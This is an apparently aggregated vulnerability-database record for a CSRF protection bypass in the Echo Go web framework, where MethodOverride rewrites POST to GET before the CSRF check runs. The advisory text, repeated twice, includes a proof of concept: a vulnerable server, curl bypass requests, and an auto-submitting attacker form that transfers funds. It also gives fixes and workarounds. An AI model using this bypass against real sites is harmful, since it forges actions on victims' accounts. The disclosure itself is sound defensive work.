{"id":"CVE-2026-118266","aliases":["DEBIAN-CVE-2026-118266","EUVD-2026-112403","GHSA-r7w9-592q-9vg4","GO-2026-6877","UBUNTU-CVE-2026-118266"],"status":"published","title":"Echo: CSRF Protection Bypass via MethodOverride Rewriting POST to Safe Method","description":"Echo is a Go web framework. Prior to 4.16.0 and 5.4.0, Echo's MethodOverride middleware accepts a safe HTTP method as the override target for a POST request. When MethodOverride is registered before CSRF in the post-routing middleware chain, route selection retains the original state-changing POST handler but the override changes the method before CSRF evaluates it, causing both token validation and Sec-Fetch-Site checks to be skipped. A cross-site exploit requires an authenticated victim and an override value that a browser-submitted request can control, such as the form getter used by the advisory reproducer; the default X-HTTP-Method-Override header getter is not settable by a cross-site form. This issue is fixed in 4.16.0 and 5.4.0.","severity":{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00163,"percentile":0.0558,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-352"],"published":"2026-10-28T19:21:47Z","modified":"2026-11-05T23:26:09Z","fixes":[{"ecosystem":"Go","package":"github.com/labstack/echo/v5","fixed_in":["5.4.0"],"sources":["ghsa","osv"]},{"ecosystem":"Go","package":"github.com/labstack/echo/v4","fixed_in":["4.16.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/labstack/echo/v5","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.0.0"},{"fixed":"5.4.0"}]}]},{"source":"ghsa","ecosystem":"Go","package":"github.com/labstack/echo/v4","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.16.0"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"golang-github-labstack-echo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.11.1-1","4.11.1-2","4.12.0-1","4.2.1-3"]},{"source":"osv","ecosystem":"Debian:13","package":"golang-github-labstack-echo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.12.0-1"]},{"source":"osv","ecosystem":"Debian:14","package":"golang-github-labstack-echo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.12.0-1"]},{"source":"osv","ecosystem":"Go","package":"github.com/labstack/echo/v5","ranges":[{"type":"SEMVER","events":[{"introduced":"5.0.0"},{"fixed":"5.4.0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/labstack/echo/v4","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"4.16.0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/labstack/echo/v4","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"4.16.0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/labstack/echo/v5","ranges":[{"type":"SEMVER","events":[{"introduced":"5.0.0"},{"fixed":"5.4.0"}]}]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"golang-github-labstack-echo.v2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.2.0-1"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"golang-github-labstack-echo.v3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.3.5-1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"golang-github-labstack-echo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.2.1-2"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"golang-github-labstack-echo.v2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.2.0-2"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"golang-github-labstack-echo.v3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.3.10-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"golang-github-labstack-echo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.11.1-2"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"golang-github-labstack-echo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.12.0-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"golang-github-labstack-echo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.12.0-1"]}],"products":[{"vendor":"labstack","product":"echo"},{"vendor":"wikimedia foundation","product":"echo"}],"references":[{"url":"https://github.com/labstack/echo/security/advisories/GHSA-r7w9-592q-9vg4","tags":["x_refsource_CONFIRM","exploit","advisory","web","report"]},{"url":"https://github.com/labstack/echo/commit/b838391e2eade87ae7e5a09d7bb5087bec271ec1","tags":["x_refsource_MISC","fix","web","report"]},{"url":"https://github.com/labstack/echo/commit/fc410094b2f3415cf2bf5204082137b205bfd5af","tags":["x_refsource_MISC","fix","web","report"]},{"url":"https://github.com/labstack/echo/releases/tag/v4.16.0","tags":["x_refsource_MISC","web","report"]},{"url":"https://github.com/labstack/echo/releases/tag/v5.4.0","tags":["x_refsource_MISC","web","report"]},{"url":"https://github.com/advisories/GHSA-r7w9-592q-9vg4"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/118xxx/CVE-2026-118266.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-118266","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-118266","tags":["advisory"]},{"url":"https://github.com/labstack/echo","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-118266","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-118266","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-118266","title":"Echo: CSRF Protection Bypass via MethodOverride Rewriting POST to Safe Method","description":"Echo is a Go web framework. Prior to 4.16.0 and 5.4.0, Echo's MethodOverride middleware accepts a safe HTTP method as the override target for a POST request. When MethodOverride is registered before CSRF in the post-routing middleware chain, route selection retains the original state-changing POST handler but the override changes the method before CSRF evaluates it, causing both token validation and Sec-Fetch-Site checks to be skipped. A cross-site exploit requires an authenticated victim and an override value that a browser-submitted request can control, such as the form getter used by the advisory reproducer; the default X-HTTP-Method-Override header getter is not settable by a cross-site form. This issue is fixed in 4.16.0 and 5.4.0.","status":"published","published":"2026-10-28T19:21:47.729Z","modified":"2026-11-03T13:26:12.648Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-352"],"updated_at":"2026-11-03T14:28:05.368159Z"}],"euvd":[{"id":"EUVD-2026-112403","description":"Echo is a Go web framework. Prior to 4.16.0 and 5.4.0, Echo's MethodOverride middleware accepts a safe HTTP method as the override target for a POST request. When MethodOverride is registered before CSRF in the post-routing middleware chain, route selection retains the original state-changing POST handler but the override changes the method before CSRF evaluates it, causing both token validation and Sec-Fetch-Site checks to be skipped. A cross-site exploit requires an authenticated victim and an override value that a browser-submitted request can control, such as the form getter used by the advisory reproducer; the default X-HTTP-Method-Override header getter is not settable by a cross-site form. This issue is fixed in 4.16.0 and 5.4.0.","status":"published","published":"2026-10-28T19:21:47Z","modified":"2026-11-03T13:26:12Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium"}],"updated_at":"2026-11-03T15:18:10.516363Z"}],"ghsa":[{"id":"GHSA-r7w9-592q-9vg4","title":"Echo has CSRF Protection Bypass via MethodOverride Rewriting POST to Safe Method","description":"## Summary\n\nThe `MethodOverride` middleware accepts any non-empty string as the override target method — including safe methods (GET, HEAD, OPTIONS, TRACE) — when rewriting a POST request. When `MethodOverride` is registered before `CSRF` in the post-routing middleware chain (`e.Use()`), it rewrites the request method to a safe method before `CSRF` evaluates it. The CSRF middleware then skips token validation for the now-safe method, allowing state-changing POST handlers to execute without any CSRF check. Both the legacy token path and the modern `Sec-Fetch-Site` protection path are bypassed simultaneously.\n\n## Affected Component\n\n- `middleware/method_override.go` — `MethodOverrideConfig.ToMiddleware()` (lines 55–71): no whitelist on the override target method\n- `middleware/csrf.go` — `CSRFConfig.ToMiddleware()` (lines 188–189): safe-method bypass branch reads the already-rewritten method\n- `middleware/csrf.go` — `checkSecFetchSiteRequest()` (line 283): `Sec-Fetch-Site` safe check also reads the rewritten method\n\n## Description\n\n### MethodOverride accepts safe methods as override targets\n\n`MethodOverrideConfig.ToMiddleware()` (`method_override.go:55-71`) restricts the **source** method (only POST requests are overrideable) but applies no whitelist to the **target**:\n\n```go\n// method_override.go:61-67\nreq := c.Request()\nif req.Method == http.MethodPost {\n    m := config.Getter(c)\n    if m != \"\" {\n        req.Method = m   // ← any non-empty string accepted, including \"GET\"\n    }\n}\n```\n\nThe docstring's security claim — \"For security reasons, only POST method can be overridden\" — refers only to the source-method restriction. There is no guard preventing POST from being rewritten to `GET`, `HEAD`, `OPTIONS`, or `TRACE`. The test suite (`method_override_test.go`) only tests POST→DELETE and POST→PUT; POST→GET is never tested or blocked.\n\n### CSRF safe-method branch reads the already-rewritten method\n\n`CSRFConfig.ToMiddleware()` (`csrf.go:188-189`) makes its validation decision based on `c.Request().Method` at the time it runs:\n\n```go\n// csrf.go:188-189\nswitch c.Request().Method {\ncase http.MethodGet, http.MethodHead, http.MethodOptions, http.MethodTrace:\n    // skip validation — no token check\ndefault:\n    // validate CSRF token\n```\n\nIf MethodOverride has already run and set `req.Method = \"GET\"`, this `switch` falls into the skip branch regardless of the original HTTP method or what handler was matched.\n\nThe `Sec-Fetch-Site`-based path in `checkSecFetchSiteRequest()` (`csrf.go:283`) is identically vulnerable:\n\n```go\n// csrf.go:283\nisSafe := slices.Contains(safeMethods, c.Request().Method)\n```\n\nWith `req.Method = \"GET\"` (already rewritten), `isSafe = true` and the function returns `true` — the request is allowed even when `Sec-Fetch-Site` is `cross-site`. **Both** CSRF protection paths are bypassed in a single step.\n\n### Execution chain\n\nIn `echo.go:700`, routing and middleware wrapping are performed in one step:\n\n```go\nh = applyMiddleware(e.router.Route(c), e.middleware...)\n```\n\n1. `e.router.Route(c)` evaluates with `req.Method = \"POST\"` → matches and binds the POST `/transfer` handler\n2. `applyMiddleware` wraps it: `MethodOverride → CSRF → postHandler`\n\nAt request execution time:\n3. **MethodOverride** runs: `req.Method == \"POST\"` → reads form field `_method` = `\"GET\"` → `req.Method = \"GET\"` → calls `next`\n4. **CSRF** runs: `c.Request().Method` = `\"GET\"` → `case http.MethodGet` → **skips token validation** → calls `next`\n5. **postHandler** runs (the handler matched in step 1 — the original POST `/transfer` state-change handler)\n\nThe state-changing handler executes with no CSRF token validation and with no `Sec-Fetch-Site` check.\n\n### The missing target-method whitelist is the root cause\n\nThe legitimate use case for MethodOverride is allowing HTML forms (which only support GET/POST) to send PUT, DELETE, or PATCH requests. There is no legitimate scenario in which an HTML form needs to rewrite POST to GET — that can always be expressed as an ordinary GET request. Allowing POST→GET (and HEAD/OPTIONS/TRACE) serves no valid purpose and is inherently dangerous when any safe-method-aware security middleware (CSRF, logging, audit) appears downstream.\n\n## Proof of Concept\n\n```go\npackage main\n\nimport (\n    \"net/http\"\n    echo \"github.com/labstack/echo/v5\"\n    \"github.com/labstack/echo/v5/middleware\"\n)\n\nfunc main() {\n    e := echo.New()\n    // MethodOverride before CSRF — both in e.Use() (post-routing)\n    e.Use(middleware.MethodOverrideWithConfig(middleware.MethodOverrideConfig{\n        Getter: middleware.MethodFromForm(\"_method\"),\n    }))\n    e.Use(middleware.CSRF())\n    e.POST(\"/transfer\", func(c *echo.Context) error {\n        return c.String(http.StatusOK, \"transfer executed\")\n    })\n    e.Logger.Fatal(e.Start(\":18080\"))\n}\n```\n\n```bash\n# Baseline — CSRF correctly blocks a POST without a valid token\ncurl -i -X POST 'http://127.0.0.1:18080/transfer' \\\n  -H 'Content-Type: application/x-www-form-urlencoded' \\\n  --data 'amount=100'\n# HTTP/1.1 400 Bad Request (missing CSRF token)\n\n# Bypass — _method=GET rewrites method before CSRF runs, skipping token validation\ncurl -i -X POST 'http://127.0.0.1:18080/transfer' \\\n  -H 'Content-Type: application/x-www-form-urlencoded' \\\n  --data '_method=GET\u0026amount=100'\n# HTTP/1.1 200 OK\n# transfer executed\n\n# Browser-based CSRF PoC (attacker's page, auto-submits on load):\n# \u003cform method=\"POST\" action=\"https://victim.example/transfer\" id=\"f\"\u003e\n#   \u003cinput name=\"_method\" value=\"GET\"\u003e\n#   \u003cinput name=\"amount\" value=\"1000\"\u003e\n#   \u003cinput name=\"to\" value=\"attacker_account\"\u003e\n# \u003c/form\u003e\n# \u003cscript\u003edocument.getElementById('f').submit();\u003c/script\u003e\n```\n\nThe same bypass works with `MethodFromHeader` (`X-HTTP-Method-Override: GET`) and `MethodFromQuery` (`?_method=GET`).\n\n## Impact\n\n- Any state-changing endpoint protected by `CSRF()` is reachable without a valid CSRF token when the vulnerable middleware ordering is present\n- The `Sec-Fetch-Site` modern-browser CSRF protection is bypassed simultaneously — browsers that support `Sec-Fetch-Site` provide no additional defense\n- Applicable attacks include: fund transfers, password/email changes, account deletion, privilege escalation, data manipulation — any POST-protected operation\n- Audit logs may record `GET` as the HTTP method for what were actually state-changing operations\n\n## Recommended Remediation\n\n### Option 1: Whitelist only unsafe methods as override targets in `MethodOverride` (preferred)\n\nThe root cause is that MethodOverride accepts safe methods as targets. Restricting the override to legitimately overrideable methods (PUT, PATCH, DELETE) closes the bypass regardless of middleware ordering:\n\n```go\n// method_override.go — illustrative fix\nvar allowedOverrideMethods = map[string]bool{\n    http.MethodPut:    true,\n    http.MethodPatch:  true,\n    http.MethodDelete: true,\n}\n\n// in ToMiddleware:\nif req.Method == http.MethodPost {\n    m := config.Getter(c)\n    if m != \"\" \u0026\u0026 allowedOverrideMethods[m] {\n        req.Method = m\n    }\n}\n```\n\n### Option 2: Use `e.Pre()` for `MethodOverride` and document the ordering requirement\n\nPlacing MethodOverride in `e.Pre()` (pre-routing middleware) causes the router to match the overridden method, not the original POST. If only POST `/transfer` is registered, a POST-to-GET override results in a 405/404 — the handler never executes. Add an explicit documentation warning that MethodOverride must not be placed in `e.Use()` when CSRF middleware is also registered:\n\n```go\n// MethodOverride returns a MethodOverride middleware.\n//\n// IMPORTANT: Register this middleware with e.Pre(), not e.Use().\n// If registered with e.Use() before CSRF middleware, method rewriting\n// occurs after route matching but before CSRF validation, allowing\n// attackers to bypass CSRF token checks by specifying _method=GET.\nfunc MethodOverride() echo.MiddlewareFunc {\n```\n\nOption 1 is strongly preferred as it closes the vulnerability at the source and is safe regardless of middleware placement.\n\n## Credit\n\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).\n\n## Patches\n\nFixed in `github.com/labstack/echo/v5` v5.4.0 and `github.com/labstack/echo/v4` v4.16.0. The MethodOverride middleware no longer overrides a POST to `GET`, `HEAD`, `OPTIONS`, `TRACE` or `CONNECT`.\n\n## Workarounds\n\nRegister MethodOverride with `Echo#Pre` (as documented), register CSRF before MethodOverride, or use the default header getter (`X-HTTP-Method-Override`), which a cross-site form cannot set.","status":"published","published":"2026-10-28T19:53:36Z","modified":"2026-10-28T19:53:37Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium"}],"cwes":["CWE-352"],"updated_at":"2026-11-02T14:41:39.926569Z"}],"nvd":[{"id":"CVE-2026-118266","description":"Echo is a Go web framework. Prior to 4.16.0 and 5.4.0, Echo's MethodOverride middleware accepts a safe HTTP method as the override target for a POST request. When MethodOverride is registered before CSRF in the post-routing middleware chain, route selection retains the original state-changing POST handler but the override changes the method before CSRF evaluates it, causing both token validation and Sec-Fetch-Site checks to be skipped. A cross-site exploit requires an authenticated victim and an override value that a browser-submitted request can control, such as the form getter used by the advisory reproducer; the default X-HTTP-Method-Override header getter is not settable by a cross-site form. This issue is fixed in 4.16.0 and 5.4.0.","status":"published","published":"2026-10-28T20:17:21.577Z","modified":"2026-11-03T14:17:25.757Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-352"],"updated_at":"2026-11-03T18:16:46.837221Z"}],"osv":[{"id":"CVE-2026-118266","title":"Echo: CSRF Protection Bypass via MethodOverride Rewriting POST to Safe Method","description":"Echo is a Go web framework. Prior to 4.16.0 and 5.4.0, Echo's MethodOverride middleware accepts a safe HTTP method as the override target for a POST request. When MethodOverride is registered before CSRF in the post-routing middleware chain, route selection retains the original state-changing POST handler but the override changes the method before CSRF evaluates it, causing both token validation and Sec-Fetch-Site checks to be skipped. A cross-site exploit requires an authenticated victim and an override value that a browser-submitted request can control, such as the form getter used by the advisory reproducer; the default X-HTTP-Method-Override header getter is not settable by a cross-site form. This issue is fixed in 4.16.0 and 5.4.0.","status":"published","published":"2026-10-28T19:21:47.729Z","modified":"2026-11-05T23:26:09.232914134Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium"}],"cwes":["CWE-352"],"updated_at":"2026-11-06T00:02:13.631839Z"},{"id":"DEBIAN-CVE-2026-118266","description":"Echo is a Go web framework. Prior to 4.16.0 and 5.4.0, Echo's MethodOverride middleware accepts a safe HTTP method as the override target for a POST request. When MethodOverride is registered before CSRF in the post-routing middleware chain, route selection retains the original state-changing POST handler but the override changes the method before CSRF evaluates it, causing both token validation and Sec-Fetch-Site checks to be skipped. A cross-site exploit requires an authenticated victim and an override value that a browser-submitted request can control, such as the form getter used by the advisory reproducer; the default X-HTTP-Method-Override header getter is not settable by a cross-site form. This issue is fixed in 4.16.0 and 5.4.0.","status":"published","published":"2026-10-28T20:17:21.577Z","modified":"2026-11-04T09:47:30.376763658Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium"}],"updated_at":"2026-11-04T10:05:32.187009Z"},{"id":"GHSA-r7w9-592q-9vg4","title":"Echo has CSRF Protection Bypass via MethodOverride Rewriting POST to Safe Method","description":"## Summary\n\nThe `MethodOverride` middleware accepts any non-empty string as the override target method — including safe methods (GET, HEAD, OPTIONS, TRACE) — when rewriting a POST request. When `MethodOverride` is registered before `CSRF` in the post-routing middleware chain (`e.Use()`), it rewrites the request method to a safe method before `CSRF` evaluates it. The CSRF middleware then skips token validation for the now-safe method, allowing state-changing POST handlers to execute without any CSRF check. Both the legacy token path and the modern `Sec-Fetch-Site` protection path are bypassed simultaneously.\n\n## Affected Component\n\n- `middleware/method_override.go` — `MethodOverrideConfig.ToMiddleware()` (lines 55–71): no whitelist on the override target method\n- `middleware/csrf.go` — `CSRFConfig.ToMiddleware()` (lines 188–189): safe-method bypass branch reads the already-rewritten method\n- `middleware/csrf.go` — `checkSecFetchSiteRequest()` (line 283): `Sec-Fetch-Site` safe check also reads the rewritten method\n\n## Description\n\n### MethodOverride accepts safe methods as override targets\n\n`MethodOverrideConfig.ToMiddleware()` (`method_override.go:55-71`) restricts the **source** method (only POST requests are overrideable) but applies no whitelist to the **target**:\n\n```go\n// method_override.go:61-67\nreq := c.Request()\nif req.Method == http.MethodPost {\n    m := config.Getter(c)\n    if m != \"\" {\n        req.Method = m   // ← any non-empty string accepted, including \"GET\"\n    }\n}\n```\n\nThe docstring's security claim — \"For security reasons, only POST method can be overridden\" — refers only to the source-method restriction. There is no guard preventing POST from being rewritten to `GET`, `HEAD`, `OPTIONS`, or `TRACE`. The test suite (`method_override_test.go`) only tests POST→DELETE and POST→PUT; POST→GET is never tested or blocked.\n\n### CSRF safe-method branch reads the already-rewritten method\n\n`CSRFConfig.ToMiddleware()` (`csrf.go:188-189`) makes its validation decision based on `c.Request().Method` at the time it runs:\n\n```go\n// csrf.go:188-189\nswitch c.Request().Method {\ncase http.MethodGet, http.MethodHead, http.MethodOptions, http.MethodTrace:\n    // skip validation — no token check\ndefault:\n    // validate CSRF token\n```\n\nIf MethodOverride has already run and set `req.Method = \"GET\"`, this `switch` falls into the skip branch regardless of the original HTTP method or what handler was matched.\n\nThe `Sec-Fetch-Site`-based path in `checkSecFetchSiteRequest()` (`csrf.go:283`) is identically vulnerable:\n\n```go\n// csrf.go:283\nisSafe := slices.Contains(safeMethods, c.Request().Method)\n```\n\nWith `req.Method = \"GET\"` (already rewritten), `isSafe = true` and the function returns `true` — the request is allowed even when `Sec-Fetch-Site` is `cross-site`. **Both** CSRF protection paths are bypassed in a single step.\n\n### Execution chain\n\nIn `echo.go:700`, routing and middleware wrapping are performed in one step:\n\n```go\nh = applyMiddleware(e.router.Route(c), e.middleware...)\n```\n\n1. `e.router.Route(c)` evaluates with `req.Method = \"POST\"` → matches and binds the POST `/transfer` handler\n2. `applyMiddleware` wraps it: `MethodOverride → CSRF → postHandler`\n\nAt request execution time:\n3. **MethodOverride** runs: `req.Method == \"POST\"` → reads form field `_method` = `\"GET\"` → `req.Method = \"GET\"` → calls `next`\n4. **CSRF** runs: `c.Request().Method` = `\"GET\"` → `case http.MethodGet` → **skips token validation** → calls `next`\n5. **postHandler** runs (the handler matched in step 1 — the original POST `/transfer` state-change handler)\n\nThe state-changing handler executes with no CSRF token validation and with no `Sec-Fetch-Site` check.\n\n### The missing target-method whitelist is the root cause\n\nThe legitimate use case for MethodOverride is allowing HTML forms (which only support GET/POST) to send PUT, DELETE, or PATCH requests. There is no legitimate scenario in which an HTML form needs to rewrite POST to GET — that can always be expressed as an ordinary GET request. Allowing POST→GET (and HEAD/OPTIONS/TRACE) serves no valid purpose and is inherently dangerous when any safe-method-aware security middleware (CSRF, logging, audit) appears downstream.\n\n## Proof of Concept\n\n```go\npackage main\n\nimport (\n    \"net/http\"\n    echo \"github.com/labstack/echo/v5\"\n    \"github.com/labstack/echo/v5/middleware\"\n)\n\nfunc main() {\n    e := echo.New()\n    // MethodOverride before CSRF — both in e.Use() (post-routing)\n    e.Use(middleware.MethodOverrideWithConfig(middleware.MethodOverrideConfig{\n        Getter: middleware.MethodFromForm(\"_method\"),\n    }))\n    e.Use(middleware.CSRF())\n    e.POST(\"/transfer\", func(c *echo.Context) error {\n        return c.String(http.StatusOK, \"transfer executed\")\n    })\n    e.Logger.Fatal(e.Start(\":18080\"))\n}\n```\n\n```bash\n# Baseline — CSRF correctly blocks a POST without a valid token\ncurl -i -X POST 'http://127.0.0.1:18080/transfer' \\\n  -H 'Content-Type: application/x-www-form-urlencoded' \\\n  --data 'amount=100'\n# HTTP/1.1 400 Bad Request (missing CSRF token)\n\n# Bypass — _method=GET rewrites method before CSRF runs, skipping token validation\ncurl -i -X POST 'http://127.0.0.1:18080/transfer' \\\n  -H 'Content-Type: application/x-www-form-urlencoded' \\\n  --data '_method=GET\u0026amount=100'\n# HTTP/1.1 200 OK\n# transfer executed\n\n# Browser-based CSRF PoC (attacker's page, auto-submits on load):\n# \u003cform method=\"POST\" action=\"https://victim.example/transfer\" id=\"f\"\u003e\n#   \u003cinput name=\"_method\" value=\"GET\"\u003e\n#   \u003cinput name=\"amount\" value=\"1000\"\u003e\n#   \u003cinput name=\"to\" value=\"attacker_account\"\u003e\n# \u003c/form\u003e\n# \u003cscript\u003edocument.getElementById('f').submit();\u003c/script\u003e\n```\n\nThe same bypass works with `MethodFromHeader` (`X-HTTP-Method-Override: GET`) and `MethodFromQuery` (`?_method=GET`).\n\n## Impact\n\n- Any state-changing endpoint protected by `CSRF()` is reachable without a valid CSRF token when the vulnerable middleware ordering is present\n- The `Sec-Fetch-Site` modern-browser CSRF protection is bypassed simultaneously — browsers that support `Sec-Fetch-Site` provide no additional defense\n- Applicable attacks include: fund transfers, password/email changes, account deletion, privilege escalation, data manipulation — any POST-protected operation\n- Audit logs may record `GET` as the HTTP method for what were actually state-changing operations\n\n## Recommended Remediation\n\n### Option 1: Whitelist only unsafe methods as override targets in `MethodOverride` (preferred)\n\nThe root cause is that MethodOverride accepts safe methods as targets. Restricting the override to legitimately overrideable methods (PUT, PATCH, DELETE) closes the bypass regardless of middleware ordering:\n\n```go\n// method_override.go — illustrative fix\nvar allowedOverrideMethods = map[string]bool{\n    http.MethodPut:    true,\n    http.MethodPatch:  true,\n    http.MethodDelete: true,\n}\n\n// in ToMiddleware:\nif req.Method == http.MethodPost {\n    m := config.Getter(c)\n    if m != \"\" \u0026\u0026 allowedOverrideMethods[m] {\n        req.Method = m\n    }\n}\n```\n\n### Option 2: Use `e.Pre()` for `MethodOverride` and document the ordering requirement\n\nPlacing MethodOverride in `e.Pre()` (pre-routing middleware) causes the router to match the overridden method, not the original POST. If only POST `/transfer` is registered, a POST-to-GET override results in a 405/404 — the handler never executes. Add an explicit documentation warning that MethodOverride must not be placed in `e.Use()` when CSRF middleware is also registered:\n\n```go\n// MethodOverride returns a MethodOverride middleware.\n//\n// IMPORTANT: Register this middleware with e.Pre(), not e.Use().\n// If registered with e.Use() before CSRF middleware, method rewriting\n// occurs after route matching but before CSRF validation, allowing\n// attackers to bypass CSRF token checks by specifying _method=GET.\nfunc MethodOverride() echo.MiddlewareFunc {\n```\n\nOption 1 is strongly preferred as it closes the vulnerability at the source and is safe regardless of middleware placement.\n\n## Credit\n\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).\n\n## Patches\n\nFixed in `github.com/labstack/echo/v5` v5.4.0 and `github.com/labstack/echo/v4` v4.16.0. The MethodOverride middleware no longer overrides a POST to `GET`, `HEAD`, `OPTIONS`, `TRACE` or `CONNECT`.\n\n## Workarounds\n\nRegister MethodOverride with `Echo#Pre` (as documented), register CSRF before MethodOverride, or use the default header getter (`X-HTTP-Method-Override`), which a cross-site form cannot set.","status":"published","published":"2026-10-28T19:53:36Z","modified":"2026-11-05T23:26:09.232914134Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium"}],"cwes":["CWE-352"],"updated_at":"2026-11-06T00:02:13.631839Z"},{"id":"UBUNTU-CVE-2026-118266","description":"Echo is a Go web framework. Prior to 4.16.0 and 5.4.0, Echo's MethodOverride middleware accepts a safe HTTP method as the override target for a POST request. When MethodOverride is registered before CSRF in the post-routing middleware chain, route selection retains the original state-changing POST handler but the override changes the method before CSRF evaluates it, causing both token validation and Sec-Fetch-Site checks to be skipped. A cross-site exploit requires an authenticated victim and an override value that a browser-submitted request can control, such as the form getter used by the advisory reproducer; the default X-HTTP-Method-Override header getter is not settable by a cross-site form. This issue is fixed in 4.16.0 and 5.4.0.","status":"published","published":"2026-10-28T20:17:00Z","modified":"2026-11-05T04:42:50Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium"}],"updated_at":"2026-11-05T13:33:25.727744Z"},{"id":"GO-2026-6877","title":"Echo has CSRF Protection Bypass via MethodOverride Rewriting POST to Safe Method in github.com/labstack/echo","description":"Echo has CSRF Protection Bypass via MethodOverride Rewriting POST to Safe Method in github.com/labstack/echo","status":"published","published":"2026-11-05T22:54:32Z","modified":"2026-11-05T23:15:15.660688856Z","updated_at":"2026-11-06T00:02:13.631839Z"}]}}
